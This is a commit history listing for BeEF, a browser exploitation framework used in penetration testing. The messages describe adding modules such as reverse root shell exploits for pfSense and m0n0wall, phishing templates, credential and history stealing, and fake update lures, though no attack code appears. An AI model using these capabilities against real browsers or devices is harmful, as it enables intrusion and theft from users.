Compare commits

..

610 Commits

Author SHA1 Message Date
bcoles
6da4e2c39c Update version to '0.4.4.4.1-alpha' bug fix edition 2013-05-01 17:49:21 +09:30
bcoles
15c7e64e93 Fix bug with module image result rendering in admin UI 2013-05-01 17:47:00 +09:30
bcoles
91e2b36ce4 Update webcam module so the picture returned as a base64 encoded string
will be rendered in the admin UI
2013-05-01 16:44:28 +09:30
bcoles
b82696ead2 Enabled web server imitation by default
The time has come. This feature has been stable for a while.
2013-05-01 16:43:26 +09:30
bcoles
7233957664 Update version 2013-04-30 18:56:37 +09:30
bcoles
88678f986c Add 'Debug -> Test Return Image' module
Part of isse #883
2013-04-30 18:40:25 +09:30
bcoles
719bb4a20b Fixed malformed YAML in modules/browser/get_visited_domains/config.yaml 2013-04-25 01:37:15 +09:30
antisnatchor
4ea18852f6 Updated eventmachine gem version in Gemfile. 2013-04-21 10:52:46 +01:00
qswain2
c16479a14e Add chrome support to get_visited_domains
Added chrme implementation based on visipisi
2013-04-19 01:02:48 -04:00
bcoles
59951959f1 Add Opencart password reset CSRF module
This module hasn't been tested against an Opencart instance
2013-04-19 09:18:05 +09:30
bcoles
da763df110 Uncommented several instances of beef.debug() - Part of issue #862 2013-04-17 22:12:35 +09:30
bcoles
4980ca02a6 Add beef.client.debug config property - Part of issue #862
Client-side debugging is disabled by default

`beef.debug()` now only shows messages if `beef.client.debug` is true
2013-04-17 22:05:31 +09:30
Christian Frichot
6e0f7a266e Issue #883. Admin UI will inline display images from the HTML5 webcam module now 2013-04-15 19:28:52 +08:00
Christian Frichot
e3cb7f7a2d #882. New HTML5 WebRTC Webcam Module 2013-04-15 19:20:48 +08:00
Christian Frichot
6e9db43463 Fixes issue #881. Console fix for reviewing previous responses 2013-04-15 19:18:07 +08:00
bcoles
a172362452 Part of issue #862 - Add beef.debug() for client-side debugging
Add `beef.debug()` function - wraps `console.log()`

Debug messages are suppressed for browsers which don't support `console.log()`

Update './core/*' to use `beef.debug()` instead of `console.log()`
Update './modules/*' to use `beef.debug()` instead of `console.log()`
Update './extensions/*' to use `beef.debug()` instead of `console.log()`

Add 'modules/debug/test_beef_debug/' module
2013-04-15 16:49:01 +09:30
bcoles
55b0bee9ca Re-enable XSS-Rays vectors containing ' charater
Fix issue #47
2013-04-14 20:38:41 +09:30
Christian Frichot
950c3d37a7 Fixes Issue #880. Detect Tor update - now works 2013-04-13 14:51:34 +08:00
Christian Frichot
1721d3c263 Fixes issue #879. Console enhancements. 2013-04-13 14:48:40 +08:00
antisnatchor
5585879cca Updated multiple core files to use hook_session_name consistently from the config.yaml file. 2013-04-09 10:25:49 +01:00
Christian Frichot
d855100ac9 Fixes #878 and #758. 2013-04-08 21:52:50 +08:00
Christian Frichot
fad33dfea7 Fixes #877. New IE Fake Notification Bar Module 2013-04-08 19:36:02 +08:00
Christian Frichot
b4732a9438 Fixes #876. Can detect Chrome 26. 2013-04-08 13:08:56 +08:00
antisnatchor
73e291832e Replacing document.location.href with location in xssrays.js. 2013-04-07 15:54:14 +01:00
antisnatchor
85b204f52b Updated beef.hardware component name for consistency. 2013-04-07 13:19:23 +01:00
antisnatchor
78410e28eb Changed attachApplet dom.js method to use <applet> also for Firefox, instead of the <embed> tag. This fixes some issues when running Signed Applets. 2013-04-06 12:30:00 +01:00
antisnatchor
222cff3f1d Added a README file for the JavaPaylod signed applet exploit. 2013-04-06 12:29:05 +01:00
Christian Frichot
2ef1b5bab8 Updates gmail phishing command module. Fixes #873 2013-04-06 15:54:55 +08:00
Christian Frichot
af67c6a8d9 Few enhancements to dom.js. See #870 #871 #872 2013-04-06 15:52:32 +08:00
Christian Frichot
79572a61f0 Renamed webcam_permission_check module 2013-04-06 14:35:21 +08:00
Christian Frichot
2fcdf1038d xntriks updates to webcam_perm_check 2013-04-06 14:32:51 +08:00
Christian Frichot
cca21f1003 Merge pull request #869 from bw-z/master
Added Webcam Permission Check Module - which I'll then update.
2013-04-05 23:29:21 -07:00
Christian Frichot
07fe3a9c0e Updates to tabnabbing module to use jQuerys wider event handling. #868 2013-04-04 21:33:43 +08:00
Christian Frichot
69fd3e600c Event log now logs when a zombie comes back online. #867 2013-04-04 21:29:18 +08:00
Christian Frichot
ae98842ad4 Tiny fix to Clippy so it appears properly. #866 2013-04-04 19:37:08 +08:00
bcoles
159ecb5ade Fix malformed YAML in 'deface_web_page_component' module 2013-04-04 00:04:45 +10:30
BWZ
cf4ab9533e Added Webcam Permission Check Module 2013-04-03 09:01:15 +10:00
Christian Frichot
9a23ed758e New getHighestZindex function in beef.dom and updated createIframe beef.dom function. #865 2013-04-02 14:33:57 +08:00
Christian Frichot
389f27360d Slight spelling mistake fix up in the Welcome tab of the Admin UI 2013-04-01 19:51:16 +08:00
Christian Frichot
e8eda3ef99 Minor enhancements to the Admin UI. #864 2013-04-01 11:07:50 +08:00
Saafan
af8018500b Fixing some unit tests 2013-03-31 16:22:58 +02:00
Christian Frichot
22cd68101d Added Bookmarklet to the Welcome Tab in the Admin UI. #863 2013-03-30 17:31:36 +08:00
bcoles
760e7a456e Update version 2013-03-29 15:59:48 +10:30
Christian Frichot
26933fe146 Fix for #826. Plus - logs also include a column for which browser an event is associated with 2013-03-29 13:33:09 +08:00
bcoles
9ca50e0505 Comment out two console.log() lines in hookChildFrames 2013-03-29 15:16:56 +10:30
Christian Frichot
31e1ddddaf New Defacement Module - but only rewrites targeted content. #861 2013-03-25 19:33:38 +08:00
Christian Frichot
7e57313e21 New Link Rewrite (Hidden using overwritten click handling) module. #860 2013-03-25 19:26:59 +08:00
BWZ
c0f0735150 LiveCD config files and splash logo 2013-03-25 12:08:25 +10:00
BWZ
39bc121b76 LiveCD - Added IP Address to GUI when ssh enabled 2013-03-25 11:29:02 +10:00
BWZ
dc4665e1d3 LiveCD - Updated URI + Version + MD5 2013-03-25 11:21:00 +10:00
Brendan Coles
497c3eb3f3 Merge pull request #859 from gcattani/ApacheCookieDisclosure
Module: Apache HTTP Server cookie disclosure (exploit)
2013-03-19 11:22:59 -07:00
gcatt
6abb21ac53 Module: Apache HTTP Server cookie disclosure (exploit) 2013-03-19 17:29:48 +01:00
bcoles
fb26ef5f71 Add beef.browser.hookChildFrames()
BeEF now automatically hooks all same-domain child (i)frames

Allows logging of child frame events - fixes issue #493
2013-03-18 00:37:15 +10:30
bcoles
c98d9a4300 Manually merged Windows Media Player detection from @gcattani
Fix issue #833

Fix issue #847
2013-03-17 03:30:12 +10:30
bcoles
f3f624e9a4 Fixed bug introduced in commit 8132eb0e53 2013-03-17 03:21:38 +10:30
bcoles
8132eb0e53 Solution: Hide beef behind an apache webserver
Manually merge code from @lalaglubsch

Add support for BeEF through a proxy

Fix issue #856
2013-03-16 20:12:27 +10:30
antisnatchor
7364529b26 Merge branch 'master' of https://github.com/beefproject/beef 2013-03-12 10:57:16 +00:00
antisnatchor
de1de356f7 Added GoogleWebStore module.rb option. Modified link opener to support data URI injections. 2013-03-12 10:57:07 +00:00
Brendan Coles
4cec0cb1b8 Merge pull request #855 from javuto/829-Foxit-reader-plugin-detection
Detection added for the Foxit Reader plugin, fixes #829
2013-03-10 21:44:07 -07:00
Javier Marcos
657aac9dcd Detection added for the Foxit Reader plugin, fixes #829 2013-03-11 00:19:19 +00:00
bmantra
2d710a1bcf Merge pull request #853 from bmantra/master
add fingerprint of m0n0wall to internal network fingerprint module
2013-03-08 12:03:07 -08:00
bmantra
2484704fe8 add fingerprint for m0n0wall 2013-03-08 21:00:52 +01:00
Michele Orru
7ad93130d9 Merge pull request #852 from bmantra/master
Added m0n0wall 1.33 CSRF root reverse shell exploit #824
2013-03-07 08:45:42 -08:00
bmantra
de2bd15769 module for m0n0wall csrf reverse root shell #824 2013-03-06 19:34:27 +01:00
antisnatchor
713a20f157 Replaced eval with new Function when executing data coming from BeEF's WebSocket server. 2013-03-05 10:37:49 +00:00
antisnatchor
6a968e77c0 Removed all the crappy Oracle code to detect if java is enabled. Was preventing x-domain hooking on FF. 2013-03-04 22:07:47 +00:00
antisnatchor
710769283e Merge branch 'master' of https://github.com/beefproject/beef 2013-03-03 11:26:29 +00:00
antisnatchor
b4d690a5f3 det_visited_domains now supports also Opera. 2013-03-03 11:26:00 +00:00
antisnatchor
4e7b983bd3 Added support for Chrome 25. 2013-03-03 11:24:08 +00:00
qswain2
0ea1c0bbf8 Add chrome/opera support to get_visited_domains
Added chrome/opera support for lcamtuf cache timing script
in get_visited_domains module.

Signed-off-by: antisnatchor <antisnatchor@gmail.com>
2013-03-03 11:16:07 +00:00
Michele Orru
58fb939b96 Merge pull request #848 from claudijd/add_dot_rvmrc_to_dot_gitignore
Add .rvmrc to .gitignore
2013-03-03 00:16:53 -08:00
Jonathan Claudius
6f035bdf05 Add .rvmrc to .gitignore 2013-03-02 17:32:44 -06:00
bcoles
83749aad08 Add support for Firefox 20 2013-02-26 13:17:14 +10:30
bcoles
127e3cc0bb Updated version 2013-02-26 12:08:05 +10:30
Brendan Coles
ed661e2a22 Merge pull request #845 from bcoles/raw_http
Add 'bind_raw' to asset handler
2013-02-22 23:21:40 -08:00
bcoles
0d8521dd7b Add 'bind_raw' to asset handler 2013-02-23 16:57:47 +10:30
bcoles
bf2dc1d387 Remove redundant line 2013-02-23 15:27:54 +10:30
bcoles
8f1a26ffa9 Add "Hardware" to console browser details 2013-02-23 15:27:29 +10:30
bcoles
de1ab2d1f9 Fix issue #838
Fixes detect_toolbars target configuration
2013-02-23 12:32:57 +10:30
bcoles
772b2fd1e7 Add VLC details to hooked browser balloon popup
Part of issue #828
2013-02-22 12:14:43 +10:30
Brendan Coles
765c834f78 Merge pull request #844 from Nbblrr/master
Plugin for VLC detection (ticket #828)
2013-02-21 17:58:55 -08:00
Nbblrr
7eec331cf9 Plugin for VLC detection #828 2013-02-21 23:14:28 +01:00
Wade Alcorn
1c252af145 Updated version number to make explicit the patched Rack::File xss fix 2013-02-21 21:10:24 +10:00
antisnatchor
5a15a9afdd Merge remote-tracking branch 'origin/master' 2013-02-20 11:58:11 +00:00
antisnatchor
c37f0e1719 Patched Rack::File to don't reflect the URI path in the page if a file is not found. Official patch is not out yet. 2013-02-20 11:57:37 +00:00
bcoles
0734bb0750 Update Proxy tab 2013-02-20 00:57:53 +10:30
bcoles
4718075b2c Add Yammer template to Pretty Theft module 2013-02-19 16:01:10 +10:30
bcoles
514f367803 Merge branch 'master' of https://github.com/beefproject/beef 2013-02-19 15:20:02 +10:30
bcoles
753a78f5fc Add YouTube template to Pretty Theft module 2013-02-19 15:19:27 +10:30
antisnatchor
c222d0e4e3 Patched BeEF hook core to support injection when the hooked domain uses HttpOnly. 2013-02-18 17:19:49 +00:00
Brendan Coles
5e257d4e33 Merge pull request #843 from gcattani/834-hasRealPlayer
Add RealPlayer detection
2013-02-17 08:30:40 -08:00
gcatt
007769aa93 Corrected mistake 2013-02-17 12:41:30 +01:00
gcatt
63695e66d7 Add RealPlayer detection 2013-02-17 12:37:56 +01:00
antisnatchor
074a11c85a Updated Chrome sample extension with latest requirements (CSP/version/etc.). Not it works on latest Chrome. Also Updated the fake_flash_update description with more info. 2013-02-12 10:53:19 +00:00
Brendan Coles
88086811a0 Merge pull request #842 from bcoles/isTouchEnabled
Add beef.hardware.isTouchEnabled()
2013-02-10 08:57:53 -08:00
bcoles
90174dda23 Add beef.hardware.isTouchEnabled() 2013-02-11 02:46:35 +10:30
bmantra
fa7b90f123 Merge pull request #840 from bmantra/master
Metasploit auto launcher not supported on windows
2013-02-06 10:53:36 -08:00
bmantra
17aa898099 correct last commit, set auto_msfrpcd back to false 2013-02-06 19:42:14 +01:00
bmantra
f879584f1b changed windows default path and changed message 2013-02-06 19:37:31 +01:00
bmantra
2d27266fc9 added message that metasploit auto launch is not available on MS Windows 2013-02-06 19:22:12 +01:00
bcoles
2d08183eef Refactor 'select_zombie_summary'
extensions/admin_ui/controllers/modules/modules.rb
    extensions/console/lib/shellinterface.rb

Fix issue #837
2013-02-07 02:44:40 +10:30
bcoles
bf19223a01 Add 'HasQuickTime' to core/main/handlers/browserdetails.rb 2013-02-07 02:43:58 +10:30
bcoles
11a56c5ce9 Add hasQuickTime to browser object 2013-02-05 01:41:21 +10:30
antisnatchor
4852cab66d Properly adjusted onClose command module to annoy the user also in latest Firefox. 2013-02-04 12:09:46 +00:00
bcoles
79e8f34b06 Add QuickTime to zombie balloon details
Add 'modules/browser/detect_quicktime'
2013-02-04 09:10:59 +10:30
radoen
4003b69646 Update core/main/client/browser.js 2013-02-03 12:32:25 +01:00
radoen
ad2a93fc60 Merge branch 'master' of github.com:beefproject/beef 2013-02-03 11:30:37 +01:00
radoen
4e73163403 ISSUES #817
to refine UI rendering.

Note In FF 21.xx the old detection method correctly work yet
2013-02-03 01:45:01 +01:00
bcoles
19d1827c36 Add 'Steal Autocomplete' module
Part of issue #601
2013-02-03 08:51:04 +10:30
radoen
fdf3dff690 ISSUES #817
to refine UI rendering.

Note In FF 21.xx the old detection method correctly work yet
2013-02-02 22:07:28 +01:00
bcoles
f7b55be03a Add 'beef.browser.hasQuickTime()'
Merged manually from https://github.com/beefproject/beef/pull/836

Fix issue #835

starting
2013-02-03 05:59:06 +10:30
bcoles
ce1cc61ac1 Add ActiveX and Silverlight to zombie balloon details 2013-02-03 05:47:07 +10:30
bcoles
8b56a147a9 Rename 'System Platform' to 'Browser Platform' in UI 2013-02-03 05:28:49 +10:30
bcoles
449c6633aa Rename 'System Platform' to 'Browser Platform' 2013-02-03 05:24:48 +10:30
bcoles
95970d5364 Add 'beef.browser.hasSilverlight()'
Add 'modules/browser/detect_silverlight'
2013-02-03 04:42:13 +10:30
bcoles
2c10dd040c Add 'beef.hardware.isLaptop()' 2013-02-03 03:55:14 +10:30
bcoles
cdc92f084e Add laptop icon 2013-02-03 03:41:29 +10:30
bcoles
15a502bce6 Add CPU type to browser initialization
Add support for Firefox 19
2013-02-03 03:39:30 +10:30
bcoles
10bdcce34a Fix typos in 'beef.hardware.cpuType()' and OS detection 2013-02-03 03:36:41 +10:30
bcoles
7dc1882427 Add virtual machine icon to browser
'BeEF::Core::Models::BrowserDetails::hw_icon()'
2013-02-03 03:02:27 +10:30
bcoles
78162e6d26 Add 'beef.hardware.cpuType()' 2013-02-03 03:01:54 +10:30
bcoles
6913e97e2e Update Windows OS detection
Add functions:
  beef.os.isWinCE()
  beef.os.isWin2000SP1()
  beef.os.isWindows()
2013-02-03 03:01:18 +10:30
Wade Alcorn
0df85344f0 Changed ActiveX detection slightly 2013-02-01 07:11:53 +10:00
bcoles
c88a2bb8e3 Update 'Detect Virtual Machine' module 2013-02-01 04:32:16 +10:30
bcoles
e3dced8a9e Add virtual machine icon 2013-02-01 04:30:25 +10:30
bcoles
30171693ff Add 'beef.hardware.isVirtualMachine()'
Rename 'beef.hardware.getMobileName()' to 'beef.hardware.getName()'
2013-02-01 04:29:06 +10:30
bcoles
065276932c Add os_fingerprinting module 2013-02-01 02:51:45 +10:30
bcoles
61d0bf2e14 Add beef.browser.hasActiveX()
Add modules/browser/detect_activex module

Fix issue #832
2013-02-01 01:22:45 +10:30
bcoles
06221d2540 cleanup .gitignore 2013-02-01 01:06:31 +10:30
Brendan Coles
e14be26951 Merge pull request #827 from gcattani/master
Module: Detect Toolbars
2013-01-31 07:10:00 -08:00
gcatt
daadf59782 Module: Detect Toolbars
Added a module to detect browser toolbars by checking the User-Agent
and the DOM
2013-01-31 09:20:32 +01:00
bcoles
c085c2d3d7 Add detection for IE10
Fixes issue #818
2013-01-28 01:05:31 +10:30
bcoles
209e64a9ef Add IE 7-9 detection to browser_fingerprinting module 2013-01-28 01:02:53 +10:30
bcoles
3cb7bb9f51 Add support for Windows 8 2013-01-28 01:01:29 +10:30
bcoles
e8d85b550b Rename "Detect Chrome/Firefox Extensions" module to "Detect Extensions"
Added placeholder for IE toolbar detection
2013-01-27 22:35:14 +10:30
Wade Alcorn
29480a24da Version number updated 2013-01-27 14:40:16 +10:00
bmantra
777f796243 Merge pull request #823 from bmantra/master
pfSense reverse root remote shell #812
2013-01-25 12:08:22 -08:00
bmantra
8cd570c62d pfsense reverse root shell exploit #812 2013-01-25 21:05:43 +01:00
bmantra
e383b7f9d5 Merge pull request #822 from bmantra/master
added pfSense detection to internal fingerprint module
2013-01-25 10:54:17 -08:00
bmantra
1ad6039f0a fingerprint network detect pfSense 2013-01-25 19:52:09 +01:00
bcoles
8d151fb818 Add HTTPS support for internal_network_fingerprinting module
Comment out a few fingerprints for 'rare' software in order to increase
speed
2013-01-25 12:34:04 +10:30
antisnatchor
e321d6e3d8 Added support for Chrome 24 2013-01-23 11:39:26 +00:00
ben-waugh
3433e44d74 LiveCD - improved interrupt capture 2013-01-23 17:20:33 +10:00
ben-waugh
152edc445d LiveCD - added MSF integration 2013-01-23 17:09:38 +10:00
ben-waugh
81be99074a Metasploit extension config - added livecd path 2013-01-23 07:08:04 +10:00
ben-waugh
d81dc8044e LiveCD - fixed a bug in menu display showing sqlmap enabled 2013-01-22 09:57:43 +10:00
ben-waugh
56d6b54d08 BeEFLive - New Menu
replaces the old tree/Q&A style for a menu presenting all options
2013-01-22 09:53:51 +10:00
Christian Frichot
2d9b894a3c Added some further comments to the new AssetHandler redirector. See #664 2013-01-20 17:03:26 +08:00
Christian Frichot
3c4a0fad34 New bind_redirect method added to the AssetHandler. See #664 2013-01-20 16:59:01 +08:00
antisnatchor
63b7d44a5e Enabled debug_modules tests. Now they work properly and are effective to automatically check if command modules generally work. 2013-01-17 14:17:04 +00:00
qswain2
f584403a92 Move jools tests to integration
Moved tc_jools to integrations test directory
since the requires seem to be what were breaking
the other tests in the unit test suit
2013-01-16 05:47:09 -05:00
Saafan
efa4854b79 Merge branch 'master' of https://github.com/beefproject/beef 2013-01-15 17:04:12 +02:00
Saafan
cc49004189 Fix IE java detection. 2013-01-15 17:03:54 +02:00
Michele Orru
c8c6d30468 Merge pull request #778 from Skyr/master
Fix for Javascript errors in Phonegap
2013-01-15 03:56:50 -08:00
qswain2
fcbd2516e6 Add test cases for jools
Added test cases for jools based on examples
2013-01-14 23:12:55 -05:00
bcoles
224cf0c7d0 Added window.devicePixelRatio to Firefox 18 detection 2013-01-12 14:26:16 +10:30
bcoles
c2dbc50d00 Added support for Firefox 18 2013-01-10 08:44:50 +10:30
antisnatchor
c1fefecf70 Merge branch 'master' of https://github.com/beefproject/beef 2013-01-09 15:01:50 +00:00
antisnatchor
60589dc607 Minor changes to MiTB core. 2013-01-09 15:01:07 +00:00
Saafan
5d9821aa74 Temporary workaround to fix IE not being hooked due to java detection code. 2013-01-09 00:47:45 +02:00
root
0f40a0fb9a Merge branch 'master' of https://github.com/beefproject/beef 2013-01-07 01:32:29 -05:00
root
6c16a89328 Added simple adblock checks for IE from issue #803 2013-01-07 01:30:44 -05:00
bcoles
e275e4001c Add SQLiteManager XSS module 2013-01-07 12:30:24 +10:30
Brendan Coles
644a53cb2c Merge pull request #816 from Nbblrr/master
Pull Request : Module Detect extensions on Firefox
2013-01-06 13:50:53 -08:00
Nbblrr
87afb9a31b Improved extension detection with the old Firefox hack #815 2013-01-06 22:39:43 +01:00
bcoles
bd2b002314 Fix a few typos 2013-01-07 05:17:55 +10:30
Michele Orru
15eb6a4b07 Merge pull request #813 from Nbblrr/master
Merge of Hardware detection improvement with mdetect (#722)
2013-01-06 04:40:10 -08:00
Nbblrr
da7a7b9603 Improved Hardware detection with mdetect 2. #722 2013-01-05 20:43:28 +01:00
Nbblrr
3fe37ec7b1 Improved Hardware detection with mdetect. Ticket #722 2013-01-05 00:03:25 +01:00
Christian Frichot
9c6802cd8f Updated QR Code Extension - URLs can now be full, not just sub-domains #811 2013-01-03 19:25:00 +08:00
Michele Orru
00ad35d878 Merge pull request #809 from phillcampbell/development
Remove Thin 'Server' response header
2013-01-03 01:47:58 -08:00
Phill Campbell
cae2559fa3 Remove Thin 'Server' response header 2013-01-02 23:29:21 +00:00
antisnatchor
ba02b6ec87 Merge branch 'master' of https://github.com/beefproject/beef 2013-01-02 21:35:02 +01:00
ben-waugh
12fe2ed86c LiveCD - updated links and copyright year 2013-01-03 07:31:34 +10:00
antisnatchor
c0a256f1b0 Refactored Ipec and Autorun tabs to use the new beefwui object: get_rest_token is now a common function :D 2013-01-02 20:09:23 +01:00
antisnatchor
1ce620a626 Created a new beef_common.js files with common functions for the Web UI. Registered as beefwui in the main window object. 2013-01-02 20:07:49 +01:00
antisnatchor
cea8a4b0e3 ARE: fixed bug which was preventing the execution of modules without input. 2013-01-02 19:03:27 +01:00
antisnatchor
1cd83663aa ARE: properly closed a couple of more statements. 2013-01-02 18:37:26 +01:00
antisnatchor
b6b968a7a0 ARE: removed a couple of unneeded commas. 2013-01-02 18:33:57 +01:00
antisnatchor
276d465dd1 ARE: properly closed a couple of statements. 2013-01-02 18:31:23 +01:00
antisnatchor
8947d78d66 ARE: added mod_id to the multi_module API call. The bug was preventing correct module calling. 2013-01-02 18:30:06 +01:00
antisnatchor
98da93fb12 ARE: fixed hardcoded URLs 2013-01-02 18:07:53 +01:00
qswain2
f39b16712a Added auto-run tab
Added a new tab in the ui for the auto-run.
and allows modules to be selected with a
checkboxes.Added a handler to hide autorun
tab. Added stubs to ARE.
2013-01-01 18:01:53 -05:00
antisnatchor
d976e86cbe Refactored mitm.js AJAX sniffing feature. Fixed a couple of other bugs in mitb.js 2012-12-30 13:13:10 +01:00
ben-waugh
0244980db0 LiveCD - Added proxy demo for sqlmap #789 2012-12-30 17:34:06 +10:00
ben-waugh
0580b86744 Move liveCD Script to a new folder #781 2012-12-30 16:23:50 +10:00
Wade Alcorn
701dd34c83 Version number updated 2012-12-30 12:48:45 +10:00
Wade Alcorn
fe40038441 Updated copyright year to 2013 2012-12-30 12:47:43 +10:00
Saafan
ba5ee180e4 -Updated "Detect Java Support" using the official oracle deployment support script to detect if Java is enabled. 2012-12-29 13:33:23 +02:00
Saafan
ca72854911 Merge branch 'master' of https://github.com/beefproject/beef 2012-12-29 12:51:02 +02:00
bcoles
bdab1028f5 Added Detect Virtual Machine module 2012-12-16 16:22:41 +10:30
bcoles
4e7e1129bb Added Detect Default Browser module 2012-12-13 18:04:16 +10:30
bcoles
7b4d4de3eb Added support for Firefox 17 2012-12-13 18:00:22 +10:30
Stefan Schlott
df365b74c2 Fix Javascript errors in Phonegap (see #777) 2012-12-11 15:54:41 +01:00
bcoles
acb09efd32 Fixed a few typos in BeEFLive.sh
Moved avant_steal_history module to 'browser' category
2012-12-10 23:59:45 +10:30
ben-waugh
d3cb14b1ad Added Live CD Login Script
Fixes #775 #766
2012-12-07 10:39:05 +10:00
Michele Orru
4d097aa55d Merge pull request #773 from malerisch/avant_browser
Avant Browser History Stealing
2012-12-05 15:39:00 -08:00
bcoles
75532ffe44 Add PHP 5.3.9 DoS (CVE-2012-0830) module
Has not been tested
2012-11-29 18:34:07 +10:30
Roberto Suggi Liverani
9546e88113 Avant Browser History Stealing
Avant Browser History Stealing module - Advisory:
http://blog.malerisch.net/2012/11/avant-browser-same-of-origin-policy.html
2012-11-28 14:11:04 +13:00
bcoles
9083586135 Updated supported browser list for CORS debug module 2012-11-26 16:38:07 +10:30
bcoles
3152f41a18 Add beef.net.cors.request
Returns a response object with HTTP status, headers and body

Add 'Test CORS Request' debug module
2012-11-26 02:50:27 +10:30
antisnatchor
da08911080 Added '/multi_module' RESTful API call to send multiple modules at once to a single browser. 2012-11-25 13:47:29 +00:00
antisnatchor
b050af529f Removed console.log from read_gmail module. Some browser do not support that. 2012-11-25 11:52:54 +00:00
antisnatchor
efec8b9bc3 Clarified with code comments (main config.yaml) how to add mysql/postgres dependencies if switching database drivers. 2012-11-22 14:26:12 +00:00
antisnatchor
d580ff44ed Merge branch 'master' of https://github.com/beefproject/beef 2012-11-21 13:39:28 +00:00
antisnatchor
328df7af97 Documented (JSdoc) both updater.js and websocket.js. Finally :D 2012-11-21 07:12:56 +00:00
antisnatchor
4b6130a315 Added xhr_poll_timeout config to the main config.yaml. This can now be used to decrease/increase polling timeout for the normal XHR-polling communication. 2012-11-21 06:37:41 +00:00
antisnatchor
011bb0e94b Refactored WebSocket polling timeout config value. 2012-11-21 06:26:15 +00:00
antisnatchor
72a4a127ff Documented (JSdoc) all the net.js methods. 2012-11-21 06:14:59 +00:00
antisnatchor
03f7f888b5 Documented (JSdoc) all the init.js methods. 2012-11-21 06:13:32 +00:00
antisnatchor
2ae03736ab Added Chrome 23 detection. Refactored the hasWebSockets method. 2012-11-21 05:19:47 +00:00
antisnatchor
c2185d2cec Refactoring session.js moving the iframe persistence technique in dom.js. Updated iframe_above to use the new component. 2012-11-21 05:10:52 +00:00
Mike Haworth
624f704240 added module to pull email messages content from gmails atom feed, useful if running the in context of mail.google.com 2012-11-20 20:46:04 +13:00
Michele Orru
1765d18d97 Merge pull request #765 from gallypette/master
Change hardcoded linked image to an inline one in credential.js template
2012-11-19 23:18:12 -08:00
Jean-Louis Huynen
6e44d5c641 remove hardcoded linked image to an inline one in credential.js template- (this template need some work btw) 2012-11-19 11:14:24 +01:00
antisnatchor
81f03f0024 Fixed a nasty bug with WebSockets. BrowserDetails are now always sent with XHR-polling, before switching protocols using WebSockets. 2012-11-18 15:45:46 +00:00
bcoles
05e31fd250 Add Zenoss 3.x command execution exploit 2012-11-11 21:40:50 +10:30
antisnatchor
bcb0e55802 Merge branch 'master' of https://github.com/beefproject/beef 2012-11-05 19:33:08 +00:00
antisnatchor
bbf7143a9a Modified Autorun to work with modules with USER_NOTIFY target. Also added a few config options in the main config.yaml. 2012-11-05 19:32:34 +00:00
bcoles
f5b4a413f6 Added WAN Emulator command execution exploit 2012-11-04 17:37:42 +10:30
bcoles
014aa3c4bd Version updated to 0.4.3.9-alpha
your changes. Lines starting
2012-11-02 18:26:04 +10:30
Wade Alcorn
1aff4da0b8 Merge remote-tracking branch 'origin/master' 2012-11-02 15:43:51 +10:00
Wade Alcorn
d2188b230c More changed license headers 2012-11-02 15:27:01 +10:00
Wade Alcorn
23f09b919f Changed license header 2012-11-02 14:26:10 +10:00
Wade Alcorn
b68df3d024 Changed license header 2012-11-02 14:05:15 +10:00
Wade Alcorn
447f61c71b Changed license header and stdout banner 2012-11-02 14:00:44 +10:00
Wade Alcorn
f702482764 Added new boilerplate licence file 2012-11-02 13:57:33 +10:00
Wade Alcorn
0e3dbb23ee Added new licence file 2012-11-02 13:56:17 +10:00
bcoles
bfba800a93 Revert "Version updated to 0.4.3.9-alpha"
This reverts commit b62c791961.
2012-11-01 17:59:59 +10:30
bcoles
b62c791961 Version updated to 0.4.3.9-alpha 2012-11-01 17:46:03 +10:30
bcoles
b756065d2a Update Inter-Protocol IRC module to use beef.dom.createIframeIpecForm 2012-10-31 00:04:54 +10:30
bcoles
210dc1366a Add QNX QCONN exploit 2012-10-27 18:55:33 +10:30
bcoles
72ac600f9f Add createIframeIpecForm function to client dom library 2012-10-27 18:53:29 +10:30
bcoles
d7f0a590b7 Fix typo in popup detection 2012-10-27 18:53:04 +10:30
bcoles
a3a8bf2f15 Add command module IDs to logs 2012-10-26 16:45:00 +10:30
bcoles
34bae7d513 Add command module IDs to logs 2012-10-26 16:42:28 +10:30
bcoles
abd8f538eb Remove demos/html/passwd_manager_theft.html
Small syntax changes to Event Logger extension `parse()`
2012-10-25 16:38:29 +10:30
antisnatchor
79309b7331 Merge branch 'master' of https://github.com/beefproject/beef 2012-10-24 11:12:58 -05:00
antisnatchor
f9b8e0f576 Moved admin_ui controllers for extensions in their relative extension directory. 2012-10-23 10:15:07 +11:00
antisnatchor
deffc8691c Fixed event logger: events were not logged for a wrong data structure type check. 2012-10-23 09:50:01 +11:00
bcoles
7c7fc5ae6e Small modifications to a few modules
Updated a few default IP addresses to 127.0.0.1

Updated a few module names

Fixed config.yaml whitespace bug
2012-10-22 23:26:33 +10:30
antisnatchor
ce4018d464 Enabled IPEC extension in main config.yaml 2012-10-22 17:26:59 +11:00
antisnatchor
636fee9607 Modified Fake_flash_update module (with drop-down menu) to support Firefox Extension delivery. 2012-10-22 17:25:16 +11:00
antisnatchor
9aab6f1cf4 Patched jquery-encoder to prevent exception on encoderForJavascript. Patched wterm.jquery.js to prevent XSS. Added IP/port validation to IPEC shell. 2012-10-22 17:19:46 +11:00
antisnatchor
aae9f5b66c Removed dead code from the IPEC admin_ui tab panel. 2012-10-22 16:12:43 +11:00
antisnatchor
aa1efd1c73 Added new IPEC admin_ui tab. This includes the new Wterm-based interactive shell to communicate with the BeEF_bind shellcode. 2012-10-22 16:09:34 +11:00
antisnatchor
79bf6f4a9f Added BeEF_bind send_command module: this is used to communicate with the BeEF_bind shellcode (including in the IPEC admin_ui shell). 2012-10-22 16:07:31 +11:00
antisnatchor
e257f8bb52 Added BeEF_bind deployer module: send both shellcode stager and stage to a specific target. Eudora IMAP 3 (Win) is the only available exploit atm. 2012-10-22 16:03:47 +11:00
antisnatchor
b8c36b206b Added first implementation of the IPEC extension, including the malicious FirefoxExtension. 2012-10-22 15:52:15 +11:00
antisnatchor
5a2f30a0c0 Added a bunch of new RESTful API calls: get categories, search module by name. 2012-10-22 15:30:27 +11:00
antisnatchor
cbbb9e0d67 Added feature to bind_socket in AssetHandler: now it's possible to retrieve the raw data sent to the socket. 2012-10-22 15:24:21 +11:00
antisnatchor
af53f0fd0b Catching exception in web_cloner when determining if page can be framed. 2012-10-22 15:22:04 +11:00
bcoles
91e1411888 Added support for Chrome 22 2012-10-19 09:35:29 +10:30
bcoles
042ee1b0aa Hide QRcode for localhost/127.0.0.1 interface 2012-10-19 09:15:07 +10:30
bcoles
2863fafc2a Added support for Firefox 16
Fixed bug where new versions of Firefox are detected as Safari

Added placeholder for IE10
2012-10-16 20:39:28 +10:30
radoen
